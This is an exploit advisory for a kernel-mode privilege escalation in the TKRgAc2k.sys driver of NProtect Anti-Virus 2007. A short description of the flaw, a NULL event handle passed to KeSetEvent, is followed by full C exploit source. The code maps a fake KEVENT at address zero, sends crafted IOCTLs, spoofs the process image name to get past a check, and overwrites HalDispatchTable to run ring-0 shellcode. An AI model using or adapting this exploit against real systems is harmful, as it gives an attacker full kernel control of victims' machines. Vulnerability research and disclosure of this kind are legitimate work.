NProtect Anti-Virus 2007 Privilege Escalation

`NProtect Anti-Virus 2007 with TKRgAc2k.sys <= 2010.5.11.1  
Local Kernel Mode Privilege Escalation Vulnerability  
  
  
AUTHOR  
MJ0011  
  
EMAIL  
th_decoder$126.com  
  
VULNERABLE PRODUCTS  
NProtect Anti-Virus 2007  
  
DETAILS:  
TKRgAc2k.sys create a device called "TKRgAc",and handles these io control codes for:  
  
0x22140:Receive registry monitor key value name MD5  
0x221448:Receive Registry monitor key name  
0x221444:Receive Registry key monitor enable  
0x221410:Receive virus name that matchs the key value name MD5  
0x220c54:Create share memory for receive virus notification  
0x220c5c:Receive event handle for send virus notification  
Tkacrg2k.sys create FileObject->FsContext for each process to open the device,and save key/key value /virus name /event object in FsContext. Here contains a design error , if a registry operation is intercepted and match the rules , but event handle has not been set, TKAcRg2k.sys will still be nofity of this event to ring3 with KeSetEvent(NULL,0). An attacker can allocate a fake KEVENT structure at zero address and overwrite any address with KEvent->WaitThreadList->KThread->WaitListEntry 's remove list entry operation.  
  
  
  
EXPLOIT CODE:  
// NP0DAY.cpp : Defines the entry point for the console application.  
//  
#include "stdafx.h"  
#include "windows.h"  
typedef struct _STRING {   
USHORT Length;   
USHORT MaximumLength;   
PCHAR Buffer;   
} STRING;   
typedef STRING *PSTRING;   
typedef struct _RTL_DRIVE_LETTER_CURDIR {   
USHORT Flags;   
USHORT Length;   
ULONG TimeStamp;   
STRING DosPath;   
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;   
typedef struct _UNICODE_STRING {   
USHORT Length;   
USHORT MaximumLength;   
PWSTR Buffer;   
} UNICODE_STRING;   
typedef UNICODE_STRING *PUNICODE_STRING;   
typedef const UNICODE_STRING *PCUNICODE_STRING;   
#define RTL_MAX_DRIVE_LETTERS 32   
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001   
typedef struct _CURDIR {   
UNICODE_STRING DosPath;   
HANDLE Handle;   
} CURDIR, *PCURDIR;   
typedef struct _RTL_USER_PROCESS_PARAMETERS {   
ULONG MaximumLength;   
ULONG Length;   
ULONG Flags;   
ULONG DebugFlags;   
HANDLE ConsoleHandle;   
ULONG ConsoleFlags;   
HANDLE StandardInput;   
HANDLE StandardOutput;   
HANDLE StandardError;   
CURDIR CurrentDirectory; // ProcessParameters   
UNICODE_STRING DllPath; // ProcessParameters   
UNICODE_STRING ImagePathName; // ProcessParameters   
UNICODE_STRING CommandLine; // ProcessParameters   
PVOID Environment; // NtAllocateVirtualMemory   
ULONG StartingX;   
ULONG StartingY;   
ULONG CountX;   
ULONG CountY;   
ULONG CountCharsX;   
ULONG CountCharsY;   
ULONG FillAttribute;   
ULONG WindowFlags;   
ULONG ShowWindowFlags;   
UNICODE_STRING WindowTitle; // ProcessParameters   
UNICODE_STRING DesktopInfo; // ProcessParameters   
UNICODE_STRING ShellInfo; // ProcessParameters   
UNICODE_STRING RuntimeData; // ProcessParameters   
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];   
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;   
typedef struct _PEB {   
BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the   
  
BOOLEAN ReadImageFileExecOptions; //   
BOOLEAN BeingDebugged; //   
BOOLEAN SpareBool; //   
HANDLE Mutant; // INITIAL_PEB structure is also updated.   
  
PVOID ImageBaseAddress;   
PVOID Ldr;   
struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;   
} PEB, *PPEB;   
typedef LONG KPRIORITY;   
typedef struct _PROCESS_BASIC_INFORMATION {   
LONG ExitStatus;   
PVOID PebBaseAddress;   
ULONG_PTR AffinityMask;   
KPRIORITY BasePriority;   
ULONG_PTR UniqueProcessId;   
ULONG_PTR InheritedFromUniqueProcessId;   
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;   
typedef enum _EVENT_TYPE {  
NotificationEvent,  
SynchronizationEvent  
} EVENT_TYPE;  
typedef struct _DISPATCHER_HEADER {  
union {  
struct {  
UCHAR Type;  
union {  
UCHAR Absolute;  
UCHAR NpxIrql;  
};  
union {  
UCHAR Size;  
UCHAR Hand;  
};  
union {  
UCHAR Inserted;  
BOOLEAN DebugActive;  
};  
};  
volatile LONG Lock;  
};  
LONG SignalState;  
LIST_ENTRY WaitListHead;  
} DISPATCHER_HEADER , *PDISPATCHER_HEADER;  
typedef const UNICODE_STRING *PCUNICODE_STRING;  
typedef enum _WAIT_TYPE {  
WaitAll,  
WaitAny  
} WAIT_TYPE;  
typedef struct _OBJECT_BASIC_INFORMATION {  
ULONG Attributes;  
ACCESS_MASK GrantedAccess;  
ULONG HandleCount;  
ULONG PointerCount;  
ULONG PagedPoolCharge;  
ULONG NonPagedPoolCharge;  
ULONG Reserved[ 3 ];  
ULONG NameInfoSize;  
ULONG TypeInfoSize;  
ULONG SecurityDescriptorSize;  
LARGE_INTEGER CreationTime;  
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;  
typedef struct _KWAIT_BLOCK {  
LIST_ENTRY WaitListEntry;  
PVOID kThread;  
PVOID Object;  
struct _KWAIT_BLOCK *NextWaitBlock;  
USHORT WaitKey;  
UCHAR WaitType;  
} KWAIT_BLOCK, *PKWAIT_BLOCK, *PRKWAIT_BLOCK;  
#include "malloc.h"  
PVOID GetInfoTable(ULONG ATableType)  
{  
ULONG mSize = 0x4000;  
PVOID mPtr = NULL;  
LONG status;  
HMODULE hlib = GetModuleHandle("ntdll.dll");  
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");  
  
do  
{  
mPtr = malloc(mSize);  
if (mPtr)  
{  
__asm  
{  
push 0  
push mSize  
push mPtr  
push ATableType  
call pZwQuerySystemInformation  
mov status , eax  
}  
}  
else  
{  
return NULL;  
}  
if (status == 0xc0000004)  
{  
free(mPtr);  
mSize = mSize * 2;  
}  
} while (status == 0xc0000004);  
if (status == 0)  
{  
return mPtr;  
}  
free(mPtr);  
return NULL;  
}  
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {  
USHORT UniqueProcessId;  
USHORT CreatorBackTraceIndex;  
UCHAR ObjectTypeIndex;  
UCHAR HandleAttributes;  
USHORT HandleValue;  
PVOID Object;  
ULONG GrantedAccess;  
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;  
typedef struct _SYSTEM_HANDLE_INFORMATION {  
ULONG NumberOfHandles;  
SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];  
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;  
enum { SystemModuleInformation = 11,  
SystemHandleInformation = 16 };  
typedef struct {  
ULONG Unknown1;  
ULONG Unknown2;  
PVOID Base;  
ULONG Size;  
ULONG Flags;  
USHORT Index;  
USHORT NameLength;  
USHORT LoadCount;  
USHORT PathLength;  
CHAR ImageName[256];  
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;  
typedef struct {  
ULONG Count;  
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];  
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;  
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);  
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);  
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(  
ULONG x1,  
ULONG y1,  
ULONG x2,  
ULONG y2,  
ULONG color  
);  
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(  
ULONG Color  
);  
typedef  
VOID  
(*INBV_DISPLAY_STRING_FILTER)(  
PUCHAR *Str  
);  
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(  
INBV_DISPLAY_STRING_FILTER DisplayStringFilter  
);  
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(  
BOOLEAN bEnable  
);  
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(  
ULONG x1,  
ULONG y1,  
ULONG x2,  
ULONG y2  
);  
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(  
PUCHAR Str  
);  
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;  
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;  
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;  
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;  
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;  
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;  
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;  
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;  
#define VGA_COLOR_BLACK 0  
#define VGA_COLOR_RED 1  
#define VGA_COLOR_GREEN 2  
#define VGA_COLOR_GR 3  
#define VGA_COLOR_BULE 4  
#define VGA_COLOR_DARK_MEGAENTA 5  
#define VGA_COLOR_TURQUOISE 6  
#define VGA_COLOR_GRAY 7  
#define VGA_COLOR_BRIGHT_GRAY 8  
#define VGA_COLOR_BRIGHT_RED 9  
#define VGA_COLOR_BRIGHT_GREEN 10  
#define VGA_COLOR_BRIGHT_YELLOW 11  
#define VGA_COLOR_BRIGHT_BULE 12  
#define VGA_COLOR_BRIGHT_PURPLE 13  
#define VGA_COLOR_BRIGHT_TURQUOISE 14  
#define VGA_COLOR_WHITE 15  
UCHAR DisplayString[] =  
" "  
  
" "  
  
" "  
  
" ---- ===== EXPLOIT SUCCESSFULLY ==== ---- "  
  
" "  
  
" "  
  
" NProtect AntiVirus 2007 Local Privilege Escalation Exploit "  
  
" "  
  
" VULNERABLE PRODUCT "  
  
" "  
  
" NProtect AntiVirus 2007 "  
  
" "  
  
" "  
  
" VULERABLE FILE "  
  
" TKRgAc2k.sys <= 2010.5.11.1 "  
  
" "  
  
" AUTHOR "  
  
" "  
  
" MJ0011 "  
  
" th_decoder$126.com "  
  
" "  
  
" 2010-9-7 "  
  
" "  
  
" "  
  
" ";  
  
VOID InbvShellCode()  
{  
//DISABLE INTERRUPT  
__asm  
{  
cli  
}  
//RESET TO VGA MODE  
InbvAcquireDisplayOwnership();  
InbvResetDisplay();  
//FILL FULL SCREEN  
InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);  
//SET TEXT COLOR  
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);  
InbvInstallDisplayStringFilter(NULL);  
InbvEnableDisplayString(TRUE);  
InbvSetScrollRegion( 0 , 0 , 639 ,477);  
InbvDisplayString(DisplayString);  
while(TRUE)  
{  
};  
}  
BOOL InbvInit(PVOID ntosbase , PSTR ntosname)  
{  
HMODULE hlib = LoadLibrary(ntosname);  
if (hlib == NULL)  
{  
return FALSE ;  
}  
InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);  
  
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);  
  
if (InbvAcquireDisplayOwnership &&  
InbvResetDisplay &&  
InbvSolidColorFill &&  
InbvSetTextColor &&  
InbvInstallDisplayStringFilter &&  
InbvEnableDisplayString &&  
InbvSetScrollRegion &&  
InbvDisplayString)  
{  
return TRUE ;  
}  
return FALSE ;  
}  
typedef struct MD5_STRING{  
CHAR Md5[32];  
}MD5_STRING , *PMD5_STRING;  
typedef struct MD5_SEND{  
ULONG Md5Number ;  
ULONG DataLen ;  
MD5_STRING Md5String[2];  
}MD5_SEND , *PMD5_SEND;  
typedef struct MON_RULE_SEND  
{;  
ULONG unknown ;  
ULONG dataLen ;  
CHAR RuleData1[10];  
CHAR RuleData2[9];  
}MON_RULE_SEND , *PMON_RULE_SEND;  
typedef struct VIRUS_NAME_RULE_SEND  
{  
ULONG NumberOfName ;  
ULONG TotalDataLen ;  
CHAR Name[0x64];  
}VIRUS_NAME_RULE_SEND , *PVIRUS_NAME_RULE_SEND;  
int main(int argc, char* argv[])  
{  
printf("NProtect AntiVirus TKRgAc2k.sys <= 2010.5.11.1\n"  
"Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"  
"Test On Windows XP SP3\n"  
"by MJ0011 th_decoder$126.com\n"  
"Press Enter....\n"  
);  
getchar();  
PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);  
  
if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\\')+1))  
{  
printf("cannot init inbv system\n");  
return 0 ;  
}  
HMODULE hntos = LoadLibrary(strrchr(pmi->Module[0].ImageName , '\\')+1);  
if (hntos == 0 )  
{  
printf("cannot load ntos\n");  
return 0 ;  
}  
PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");  
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);  
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pmi->Module[0].Base);  
  
PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));  
  
FreeLibrary(hntos);  
PVOID palloc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");  
  
ULONG nsize = 0x1000 ;  
PVOID pBase = (PVOID)0x1 ;  
LONG status ;  
__asm  
{  
push 0x4  
push 0x3000  
lea eax , nsize  
push eax  
push 0  
lea eax , pBase  
push eax  
push 0xffffffff  
call palloc  
mov status , eax  
}  
if (status != 0 )  
{  
printf("allocate at 0 failed! %08x\n",status);  
getchar();  
return 0 ;  
}  
//build fake KEVENT  
PDISPATCHER_HEADER pdh = (PDISPATCHER_HEADER)0x0 ;  
KWAIT_BLOCK kwb ;  
BYTE pShellCode[0x20];  
KWAIT_BLOCK kwbpdh ;  
pdh->Type = SynchronizationEvent;  
pdh->WaitListHead.Flink = (PLIST_ENTRY)&kwbpdh ;  
PVOID pkthread = malloc(0x1000);  
kwbpdh.WaitType = WaitAny ;  
kwbpdh.kThread = pkthread;  
*(ULONG*)((ULONG)pkthread+ 0x5c) = (ULONG)&kwb ;  
kwb.WaitListEntry.Flink = (PLIST_ENTRY)pShellCode ;  
kwb.WaitListEntry.Blink = (PLIST_ENTRY)xHalQuerySystemInformationAddr ;  
kwb.NextWaitBlock = &kwb ;  
//wait list entry  
*(ULONG*)((ULONG)pkthread+ 0x60) = 0 ;  
//Thread->Timer->Header->Inserted  
*(BOOLEAN*)((ULONG)pkthread+ 0xF3) = FALSE ;  
//Thread->Queue  
*(ULONG*)((ULONG)pkthread+ 0xe4) = NULL ;  
#define LOW_REALTIME_PRIORITY 16  
//thread->Priority  
*(BYTE*)((ULONG)pkthread+ 0x33) = LOW_REALTIME_PRIORITY ;  
//thread->eprocess  
PVOID pkprocess = malloc(0x1000);  
*(ULONG*)((ULONG)pkthread+ 0x44) = (ULONG)pkprocess;  
//kprocess->state  
*(BYTE*)((ULONG)pkprocess + 0x65) = 2 ;  
PVOID preadylist = malloc(0x1000);  
*(ULONG*)((ULONG)pkprocess + 0x44) = (ULONG)preadylist;  
HANDLE hdev = CreateFile("\\\\.\\TKRgAc" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 );  
  
if (hdev == INVALID_HANDLE_VALUE)  
{  
printf("cannot open dev %u\n" , GetLastError());  
return 0 ;  
}  
MD5_SEND ms ;  
memset(&ms , 0 , sizeof(ms));  
ms.DataLen = 32 * 2 + 8 ;  
ms.Md5Number = 1 ;  
strcpy(ms.Md5String->Md5 , "202CB962AC59075B964B07152D234B70");  
//202CB962AC59075B964B07152D234B70 = "123"  
ULONG btr ;  
if (!DeviceIoControl(hdev , 0x22140C, &ms , sizeof(ms) , NULL , 0 , &btr , 0))  
{  
printf("send md5 %u\n", GetLastError());  
getchar();  
return 0 ;  
}  
MON_RULE_SEND mrs ;  
memset(&mrs , 0 , sizeof(mrs));  
mrs.dataLen = 0x13 ;  
strcpy(mrs.RuleData1 , "*Classes*");  
strcpy(mrs.RuleData2 , "*CLSID*");  
if (!DeviceIoControl(hdev , 0x221448 , &mrs , sizeof(mrs) , NULL , 0 , &btr, 0 ))  
  
{  
printf("send rule %u\n",GetLastError());  
getchar();  
return 0 ;  
}  
BOOLEAN open741 = FALSE ;  
if (!DeviceIoControl(hdev , 0x221008 , &open741 , sizeof(BOOLEAN) , NULL , 0 , &btr , 0 ))  
  
{  
printf("open 741 %u\n",GetLastError());  
getchar();  
return 0 ;  
}  
ULONG data[4];  
data[0] = 0x1dfff ;  
data[1] = 0x0 ;  
data[2] = 0x1 ;  
data[3] = 0x1 ;  
if (!DeviceIoControl(hdev , 0x221444 , &data , sizeof(ULONG) * 4 , NULL , 0 , &btr , 0 ))  
  
{  
printf("set 724 %u\n" , GetLastError());  
getchar();  
return 0 ;  
}  
VIRUS_NAME_RULE_SEND vnrs ;  
memset(&vnrs , 0 , sizeof(vnrs));  
strcpy(vnrs.Name , "VULN ATTACK !!!! :)");  
vnrs.NumberOfName = 1 ;  
vnrs.TotalDataLen = 0x64 ;  
if (!DeviceIoControl(hdev , 0x221410 , &vnrs , sizeof(vnrs ) , NULL , 0 , &btr , 0 ))  
  
{  
printf("send virus name %u\n" , GetLastError());  
getchar();  
return 0 ;  
}  
ULONG numbuf = 0x64 ;  
ULONG outbuf[2];  
if (!DeviceIoControl(hdev , 0x220C54 ,&numbuf , sizeof(ULONG) , &outbuf , sizeof(ULONG) * 2 , &btr , 0 ))  
  
{  
printf("set share memory %u\n" ,GetLastError());  
getchar();  
return 0 ;  
}  
//fake PEB bypass check  
PVOID pqp = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQueryInformationProcess");  
  
PROCESS_BASIC_INFORMATION pbi ;  
nsize = sizeof(pbi);  
__asm  
{  
push 0  
push nsize  
lea eax , pbi  
push eax  
push 0  
push 0xffffffff  
call pqp  
}  
PPEB peb = (PPEB)pbi.PebBaseAddress;  
PVOID psavebuf = malloc(peb->ProcessParameters->ImagePathName.Length );  
RtlCopyMemory(psavebuf , peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);  
  
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , L"iexplore.exe" , 26 );  
  
HKEY hkey ;  
if (RegOpenKey(HKEY_CLASSES_ROOT , "CLSID" , &hkey)==ERROR_SUCCESS)  
{  
DWORD regtype = REG_DWORD ;  
DWORD Data = 0 ;  
DWORD cbdata = 4;  
//target KeSetEvent!  
RegQueryValueEx(hkey , "123" , NULL , ®type , (LPBYTE)&Data , &cbdata);  
}  
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , psavebuf , peb->ProcessParameters->ImagePathName.Length);  
  
//set shellcode  
*(BYTE*)((ULONG)pShellCode) = 0xe9 ;  
*(ULONG*)((ULONG)pShellCode + 0x1) = (ULONG)InbvShellCode - (ULONG)pShellCode - 0x5 ;  
  
PVOID pqi = GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");  
  
__asm  
{  
push 0  
push 2  
call pqi  
}  
return 0;  
}  
  
`